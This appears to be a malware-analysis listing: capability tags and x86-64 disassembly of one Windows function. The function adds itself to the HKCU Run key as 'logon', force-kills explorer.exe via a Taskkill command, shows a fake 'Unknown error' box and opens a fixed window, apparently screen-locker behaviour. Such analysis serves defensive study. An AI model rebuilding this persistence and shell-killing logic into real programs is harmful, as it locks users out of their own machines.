Function at 0x140001060
Capabilities:
Execute command
Persist via run registry key
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0xe0]
sub rsp, 0x1e0
mov rax, qword [0x140005010]
xor rax, rsp
mov qword [rbp + 0xd0], rax
xor edx, edx
mov dword [rbp - 0x40], 8
mov r8d, 0xc8
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rax, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov r8d, 0xc8
lea rdx, [rbp]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x60]
lea rdx, str.logon
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
lea rax, [rbp]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rsp + 0x60]
mov r9d, 0xf003f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.logon
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rdx, str.logon
test eax, eax
je 0x1400011a4
lea r8, [rsp + 0x60]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rbx, [0x14000338c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x60]
lea rdx, str.logon
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov byte [rsp + 0x68], 0x30
jmp 0x140001371
mov rcx, qword [rsp + 0x60]
lea rax, [rbp - 0x40]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp byte [rsp + 0x68], 0x31
jne 0x14000136a
mov qword [rsp + 0x1f0], rsi
lea rcx, str.Taskkill__IM_explorer.exe__f
mov qword [rsp + 0x1f8], rdi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rbx, [0x14000338c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x60]
lea rdx, str.logon
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [0x140005640]
lea r8, str.Error
xor r9d, r9d
lea rdx, str.Unknown_error
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, str.Russian
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
xorps xmm0, xmm0
lea rax, [0x1400013f0]
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x80], xmm0
xor esi, esi
movdqa xmmword [rbp - 0x70], xmm1
lea rdi, str.My_Window
movdqa xmmword [rbp - 0x60], xmm0
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x70], rsi
mov qword [rbp - 0x50], rdi
call qword [sym.imp.USER32.dll_RegisterClassA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
lea ecx, [rsi + 1]
mov ebx, eax
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], rsi
lea r8, str.Window_Name
sub eax, 0x68
mov qword [rsp + 0x50], rsi
cdq
mov qword [rsp + 0x48], rsi
sub eax, edx
mov qword [rsp + 0x40], rsi
sar eax, 1
mov r9d, 0x80000000
mov ecx, eax
mov dword [rsp + 0x38], 0x68
lea eax, [rbx - 0x116]
mov dword [rsp + 0x30], 0x116
cdq
mov dword [rsp + 0x28], ecx
sub eax, edx
xor ecx, ecx
sar eax, 1
mov rdx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov qword [0x140005640], rax
lea edx, [rsi + 5]
call qword [sym.imp.USER32.dll_ShowWindow]
xor r9d, r9d
lea rcx, [rbp - 0x38]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
mov rdi, qword [rsp + 0x1f8]
mov rsi, qword [rsp + 0x1f0]
test eax, eax
je 0x14000136a
nop dword [rax + rax]
lea rcx, [rbp - 0x38]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp - 0x38]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rbp - 0x38]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001340
cmp byte [rsp + 0x68], 0x30
jne 0x1400013b5
lea rbx, [0x140003404]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x60]
lea rdx, str.logon
mov r9d, 1
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0xd0]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0x200]
add rsp, 0x1e0
pop rbp
ret